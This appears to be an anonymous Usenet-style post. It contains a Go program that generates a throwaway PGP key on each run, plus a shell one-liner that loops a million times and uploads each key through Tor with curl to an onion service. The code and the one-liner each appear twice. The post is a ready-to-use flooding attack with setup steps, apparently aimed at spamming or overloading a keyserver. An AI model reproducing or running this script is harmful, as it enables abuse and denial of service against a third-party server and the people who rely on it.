Nomen Nescio
2024-04-06 14:39:33 UTC
//koo-poo.go - compile, put in /usr/local/bin/, start Tor and run the one-liner at the bottom in a shell.
package main
import (
"fmt"
"time"
"github.com/alokmenghrajani/gpgeez"
)
func main() {
config := gpgeez.Config{Expiry: 365 * 24 * time.Hour}
key, err := gpgeez.CreateKey("user name", "a nice comment", "***@address.com", &config)
if err != nil {
fmt.Printf("Something went wrong: %v", err)
return
}
output, err := key.Armor()
if err != nil {
fmt.Printf("Something went wrong: %v", err)
return
}
fmt.Println(output)
}
//for run in {1..1000000}; do koo-poo | curl -v --socks5-hostname localhost:9050 -T - http://zkaan2xfbuxia2wpf7ofnkbz6r5zdbbvxbunvp5g2iebopbfc4iqmbad.onion; done
package main
import (
"fmt"
"time"
"github.com/alokmenghrajani/gpgeez"
)
func main() {
config := gpgeez.Config{Expiry: 365 * 24 * time.Hour}
key, err := gpgeez.CreateKey("user name", "a nice comment", "***@address.com", &config)
if err != nil {
fmt.Printf("Something went wrong: %v", err)
return
}
output, err := key.Armor()
if err != nil {
fmt.Printf("Something went wrong: %v", err)
return
}
fmt.Println(output)
}
//for run in {1..1000000}; do koo-poo | curl -v --socks5-hostname localhost:9050 -T - http://zkaan2xfbuxia2wpf7ofnkbz6r5zdbbvxbunvp5g2iebopbfc4iqmbad.onion; done